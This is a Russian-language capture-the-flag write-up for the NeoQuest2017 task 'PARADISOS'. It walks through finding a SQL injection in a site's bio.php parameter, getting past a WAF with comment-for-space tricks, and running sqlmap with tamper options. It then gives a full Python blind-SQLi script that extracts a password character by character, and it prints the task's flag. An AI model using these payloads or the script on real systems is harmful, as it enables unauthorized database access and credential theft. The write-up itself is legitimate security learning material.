
Пару дней назад завершился очередной отборочный online-этап ежегодного соревнования по кибербезопасности — NeoQuest2017. Выражаю особую благодарность организаторам: с каждым годом история всё увлекательнее, а задания сложнее!
А эта статья будет посвящена разбору девятого задания: PARADISOS
«В ПОИСКЕ ЗЕМЛЯН»
Добравшись до корабля потерпевшей бедствие экспедиции, мы не обнаружили там никого – по-видимому, ребятам удалось выбраться. Вот только где теперь их искать? Теоретически, они могли добраться до планеты Paradisos, последней из еще не посещённых нами.
Эта планета – райское местечко: чудесный климат, дружелюбные обитатели, радостно встретившие нас цветами и странными фруктами, весёлая музыка и куча довольных инопланетян всех знакомых и незнакомых нам рас. Парящие в воздухе мини-отели, рекламные щиты на разных языках (включая земной английский). Нас торжественно проводили в прекрасный отель, пообещав полное содействие по поиску членов экспедиции и по обмену знаниями о наших планетах. Нам удалось узнать, что ребята действительно были здесь и даже создали свой сайт, на котором каждый из них делал записи о космическом путешествии.
Адрес сайта сохранился, но мы увидели там имена только четверых исследователей. Оказалось, что ушлые инопланетяне требуют денег за доступ к полной информации. Платить мы, конечно, не будем. Попробуем «хакнуть»!
К заданию прилагается адрес сайта, который выглядит подобным образом:

Первым делом мы разберёмся откуда берётся текст к биографии каждого из «исследователей»:
$("#DanielButton").click(function(){ $.ajax({url: "/bio/bio.php?name=Daniel", success: function(result){ $("#ScientistBio").html(result); $("#Avatar").show(); $("#Avatar").attr("src", "img/lava.png"); }}); });
Идём по ссылке: "./bio/bio.php?name=Daniel" и видим текст биографии. Логично! Первая мысль, которая посетила меня на этой странице (а я надеюсь, что и тебя, %username%, тоже) — попробовать SQL Injection в параметр name.
Пробуем:
name=Daniel'+or+1=1+--+1
А нам в ответ:
Forbidden You don't have permission to access /bio/bio.php on this server.
Значит сайт защищен WAF. Что же, это уже интереснее: значит есть что защищать!
Опытным путём было установлено: «information_scheme», «database()», «SELECT *», «UNION» — запрещены для использования. Идём далее…
Пробуем:
name=Dan'+'i'+'el
И нам в ответ приходит текст его биографии. Значит пробел работает в виде конкатенации. Попробуем иначе:
name=Daniel'+or/**_**/1=1+--+1
Бинго! В ответе нам вывелась биография всех шести исследователей (а не 4, как на главной странице): Roy, Ohad, Naomi, Daniel, Baldric и Sigizmund. Биография последнего гласит: «Like ctf and space!». Однако, нигде нет ключа. Значит нужно
Мною было принято решение расчехлять тяжелую артиллерию: sqlmap ¯\_(ツ)_/¯
После первых N попыток
Правильно настроив техники обхода WAF (нужно было использовать ЭТО, но я
sqlmap -u "http://IP_ADDRESS/bio/bio.php?name=*" --level=5 --risk=3 --tamper="space2morecomment" --prefix="-1%27%20" --suffix="%20--%201"
PWNED:
Parameter: #1* (URI) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: http://IP_ADDRESS:80/bio/bio.php?name=-1' OR 228=228 -- 1 Vector: OR [INFERENCE]
Однако, радоваться было рано: sqlmap упорно использовал запрещённые к употреблению «словечки» и максимум, что можно было сделать — использовать sql-shell:

В любом случае, мои догадки подтвердились — BBbSQLi. Вспомнив пару уроков «Очумелые ручки» было создано это:
Ахтунг! Вызывает рак клавиатуры
#!/usr/bin/python3 import requests from multiprocessing.dummy import Pool as ThreadPool import sys import subprocess import time pool = ThreadPool(101) pos = 1 passwd = '' def getSockCount(): proc = subprocess.Popen(['bash', '-c', 'ss | grep IP_ADDRESS | wc -l'], stdin=subprocess.PIPE, stdout=subprocess.PIPE) output = proc.communicate()[0] return int(output.decode()) # Send SQL Request def connect(sql): url = "http://IP_ADDRESS/bio/bio.php?name=-1' or/** **/(case/** **/when/** **/%s/** **/then/** **/1/** **/else/** **/0/** **/end)=1 -- 1" req = requests.get(url % sql.replace(' ', '/** **/')) if 'Hello! My name is' in req.text: return True return False def findColumns(item): if item.isdigit(): return sql = "%s>'0'" % item if connect(sql): print('Column: %s' % item) def getFieldValue(item): global passwd sql = "id=6 and substring(password,%d,1)='%s'" % (pos, item) if connect(sql): passwd += item alph = [chr(x) for x in range(ord('a'), ord('z') + 1)] + [chr(x) for x in range(ord('0'), ord('9') + 1)] + ['`', '~', '!', '@', '#', '$', '^', '&', '*', '(', ')', '_', '-', '+', '=', '[', ']', '{', '}', ';', ':', '\\', '|', '?', '/'] # Brute Columns if len(sys.argv) > 0: tables = open(sys.argv[1]).read().splitlines() chunk_size = max([len(x) for x in tables]) while True: pool.map(findColumns, tables) while getSockCount() > 2: time.sleep(1) # слепой перебор символов в поле else: while True: pool.map(getFieldValue, alph) while getSockCount() > 2: time.sleep(1) pos += 1 print(passwd)
Используя данный скрипт были получены поля: «id» и «password». Решено было начать «брут» с пользователя «id=6» (aka «Sigizmund»). В итоге, это выглядело как-то так:

В конце концов, человеки победили! Флаг: 14eb6641da38addf613424f5cd05357ce261c305
